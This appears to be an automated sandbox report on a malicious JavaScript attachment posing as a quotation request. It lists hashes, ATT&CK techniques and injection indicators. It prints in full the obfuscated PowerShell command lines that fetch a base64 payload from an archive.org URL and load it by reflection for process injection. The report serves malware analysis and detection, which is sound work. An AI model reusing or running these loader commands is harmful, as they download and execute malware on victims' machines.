c849cea0a99e6625521bf3a5ed4cc441abc1a78e3eb13bfcabc96c00cf8977be

General

Target

REQUEST FOR QUOTATION.js
Size

318KB
MD5

08dab38ef2c8bdada3b4928145b777f7
SHA1

8d9fe403c417c9fc50ed09528dd2b096ebfe6375
SHA256

cfea01473114d986467817f9c5e0713e84ef8d6fa8a44509780d390fc6b09b41
SHA512

52aeb79f20660946bb7095addb26de8f115d29c4b15cd8169418d73db102c4ca7f79096780baa896357efe40999957969631b718557fd7c35e7375a2288ea5d5
SSDEEP

6144:ae3G0HrhDz6LXUo09qGOWIC5pbyo68vh146TIVdDfo+IitZsVAsuG7EEqZ1Cr81b:Zr81VpOhEUX7dyIUwRjsSXKs0AUUbPMz

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

exe.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2664	powershell.exe
6	2664	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2344	powershell.exe
2664	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2344	powershell.exe
2664	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2344	powershell.exe
Token: SeDebugPrivilege	2664	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2532 wrote to memory of 2344	2532	wscript.exe	30
PID 2532 wrote to memory of 2344	2532	wscript.exe	30
PID 2532 wrote to memory of 2344	2532	wscript.exe	30
PID 2344 wrote to memory of 2664	2344	powershell.exe	32
PID 2344 wrote to memory of 2664	2344	powershell.exe	32
PID 2344 wrote to memory of 2664	2344	powershell.exe	32

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\REQUEST FOR QUOTATION.js"
1⤵
- Suspicious use of WriteProcessMemory
PID:2532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LgAoACAAKABbAHMAVABSAGkATgBHAF0AJABWAEUAUgBiAE8AcwBFAHAAUgBFAGYAZQBSAEUATgBDAEUAKQBbADEALAAzAF0AKwAnAFgAJwAtAEoAbwBpAG4AJwAnACkAKAAgACgAJwBGACcAKwAnADAANAAnACsAJwB1AHIAbAAgACcAKwAnAD0AIABuAEsAcgAnACsAJwBoAHQAJwArACcAdABwACcAKwAnAHMAJwArACcAOgAvAC8AaQBhADkAMAA0ADYAMAAxAC4AdQBzAC4AYQAnACsAJwByAGMAJwArACcAaABpAHYAZQAuAG8AJwArACcAcgBnAC8ANgAvACcAKwAnAGkAdABlAG0AcwAvAGQAZQAnACsAJwB0AGEAaAAtAG4AbwB0AGUALQBqAC8ARABlACcAKwAnAHQAYQBoAE4AJwArACcAbwAnACsAJwB0AGUASgAuAHQAeAB0ACcAKwAnAG4ASwByADsARgAwADQAYgBhAHMAZQA2ACcAKwAnADQAQwBvAG4AdABlAG4AJwArACcAdAAgAD0AJwArACcAIAAoAE4AZQB3AC0ATwBiACcAKwAnAGoAZQBjAHQAIAAnACsAJwBTAHkAcwAnACsAJwB0AGUAbQAnACsAJwAuACcAKwAnAE4AZQB0AC4AJwArACcAVwBlAGIAQwBsAGkAZQBuACcAKwAnAHQAJwArACcAKQAuACcAKwAnAEQAbwAnACsAJwB3AG4AbABvAGEAZAAnACsAJwBTAHQAcgBpAG4AJwArACcAZwAnACsAJwAoAEYAMAA0AHUAcgBsACcAKwAnACkAJwArACcAOwBGACcAKwAnADAANABiAGkAbgBhAHIAeQBDACcAKwAnAG8AbgB0AGUAbgAnACsAJwB0ACAAPQAgAFsAUwB5ACcAKwAnAHMAdABlACcAKwAnAG0ALgBDAG8AJwArACcAbgB2AGUAcgB0AF0AOgA6ACcAKwAnAEYAcgBvACcAKwAnAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnACsAJwBGADAANABiAGEAcwBlADYANABDAG8AbgB0AGUAbgB0ACkAJwArACcAOwBGADAANABhAHMAJwArACcAcwBlAG0AYgBsACcAKwAnAHkAJwArACcAIAA9ACAAWwBSAGUAZgBsACcAKwAnAGUAJwArACcAYwB0AGkAbwBuAC4AQQAnACsAJwBzAHMAZQBtAGIAJwArACcAbAB5AF0AJwArACcAOgA6ACcAKwAnAEwAbwBhAGQAKABGADAANABiAGkAbgAnACsAJwBhACcAKwAnAHIAeQAnACsAJwBDAG8AbgB0AGUAJwArACcAbgB0ACkAOwBGADAAJwArACcANAB0AHkAcABlACAAPQAgAEYAMAA0AGEAcwAnACsAJwBzAGUAbQBiAGwAeQAnACsAJwAuACcAKwAnAEcAZQB0ACcAKwAnAFQAJwArACcAeQBwAGUAKABuAEsAJwArACcAcgBSACcAKwAnAHUAbgBQAEUALgBIACcAKwAnAG8AbQBlACcAKwAnAG4AJwArACcASwByACcAKwAnACkAOwBGADAANABtACcAKwAnAGUAdABoAG8AZAAgAD0AIABGADAANAB0AHkAcABlAC4ARwBlACcAKwAnAHQATQBlAHQAaABvAGQAKABuAEsAcgAnACsAJwBWAEEASQBuAEsAcgApADsAJwArACcARgAwADQAbQBlAHQAaAAnACsAJwBvAGQALgBJAG4AdgBvAGsAZQAnACsAJwAoAEYAMAA0ACcAKwAnAG4AJwArACcAdQBsAGwALAAgACcAKwAnAFsAbwBiAGoAZQBjAHQAWwBdACcAKwAnAF0AQAAnACsAJwAoAG4ASwByAHQAeAB0ACcAKwAnAC4AYQBmAGkAJwArACcAbgBlAGoALwB2ACcAKwAnAGUAZAAnACsAJwAuACcAKwAnADIAcgAuACcAKwAnADMAOQBiADMANAA1ADMAMAAyAGEAMAA3ACcAKwAnADUAYgAxAGIAYwAwACcAKwAnAGQANAA1AGIANgAnACsAJwAzACcAKwAnADIAZQBiADkAJwArACcAZQBlADYAMgAtAGIAdQBwAC8AJwArACcALwA6ACcAKwAnAHMAcAB0AHQAJwArACcAaABuAEsAJwArACcAcgAgACwAIABuAEsAcgBkAGUAcwBhACcAKwAnAHQAaQB2AGEAZABvAG4ASwByACcAKwAnACAALAAnACsAJwAgAG4ASwByAGQAZQBzAGEAdABpAHYAYQBkAG8AbgBLACcAKwAnAHIAIAAsACcAKwAnACAAbgBLAHIAJwArACcAZAAnACsAJwBlAHMAYQB0ACcAKwAnAGkAdgAnACsAJwBhAGQAbwAnACsAJwBuAEsAcgAsAG4ASwByAEEAZABkACcAKwAnAEkAJwArACcAbgBQAHIAbwBjAGUAcwBzADMAMgBuAEsAcgAsAG4AJwArACcASwByAGQAZQBzAGEAJwArACcAdABpAHYAYQBkAG8AbgBLAHIAJwArACcAKQApADsAJwApAC4AUgBFAHAATABBAGMAZQAoACcARgAwADQAJwAsACcAJAAnACkALgBSAEUAcABMAEEAYwBlACgAJwBuAEsAcgAnACwAWwBzAHQAcgBpAE4ARwBdAFsAQwBIAEEAUgBdADMAOQApACkA';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2344
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( ([sTRiNG]$VERbOsEpREfeRENCE)[1,3]+'X'-Join'')( ('F'+'04'+'url '+'= nKr'+'ht'+'tp'+'s'+'://ia904601.us.a'+'rc'+'hive.o'+'rg/6/'+'items/de'+'tah-note-j/De'+'tahN'+'o'+'teJ.txt'+'nKr;F04base6'+'4Conten'+'t ='+' (New-Ob'+'ject '+'Sys'+'tem'+'.'+'Net.'+'WebClien'+'t'+').'+'Do'+'wnload'+'Strin'+'g'+'(F04url'+')'+';F'+'04binaryC'+'onten'+'t = [Sy'+'ste'+'m.Co'+'nvert]::'+'Fro'+'mBase64String('+'F04base64Content)'+';F04as'+'sembl'+'y'+' = [Refl'+'e'+'ction.A'+'ssemb'+'ly]'+'::'+'Load(F04bin'+'a'+'ry'+'Conte'+'nt);F0'+'4type = F04as'+'sembly'+'.'+'Get'+'T'+'ype(nK'+'rR'+'unPE.H'+'ome'+'n'+'Kr'+');F04m'+'ethod = F04type.Ge'+'tMethod(nKr'+'VAInKr);'+'F04meth'+'od.Invoke'+'(F04'+'n'+'ull, '+'[object[]'+']@'+'(nKrtxt'+'.afi'+'nej/v'+'ed'+'.'+'2r.'+'39b345302a07'+'5b1bc0'+'d45b6'+'3'+'2eb9'+'ee62-bup/'+'/:'+'sptt'+'hnK'+'r , nKrdesa'+'tivadonKr'+' ,'+' nKrdesativadonK'+'r ,'+' nKr'+'d'+'esat'+'iv'+'ado'+'nKr,nKrAdd'+'I'+'nProcess32nKr,n'+'Krdesa'+'tivadonKr'+'));').REpLAce('F04','$').REpLAce('nKr',[striNG][CHAR]39))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YA3U86Z9EWPO5EYAHIC8.temp

Filesize
7KB

MD5
7614c5bae9bac6b15af708d9cfa8bf37

SHA1
10fc114ffeba420f34c6d35e258a3ece7dc81b39

SHA256
70704120caa468ddb6ff42eb01486dd1549dc41a54500e596c8b3bc7161e9547

SHA512
0160c371241dcb830cdddd5429d16e34478da1b07aa226ad831afaf07e9df67957aecb4e3887581755aa73301bd117240476cbf13ad9ac972314e5888c66a9d5

Download Submit
memory/2344-4-0x000007FEF61CE000-0x000007FEF61CF000-memory.dmp

Filesize
4KB

Download
memory/2344-5-0x000000001B6B0000-0x000000001B992000-memory.dmp

Filesize
2.9MB

Download
memory/2344-8-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download
memory/2344-9-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download
memory/2344-10-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download
memory/2344-7-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download
memory/2344-6-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download
memory/2344-11-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download
memory/2344-17-0x000007FEF5F10000-0x000007FEF68AD000-memory.dmp

Filesize
9.6MB

Download

Analysis

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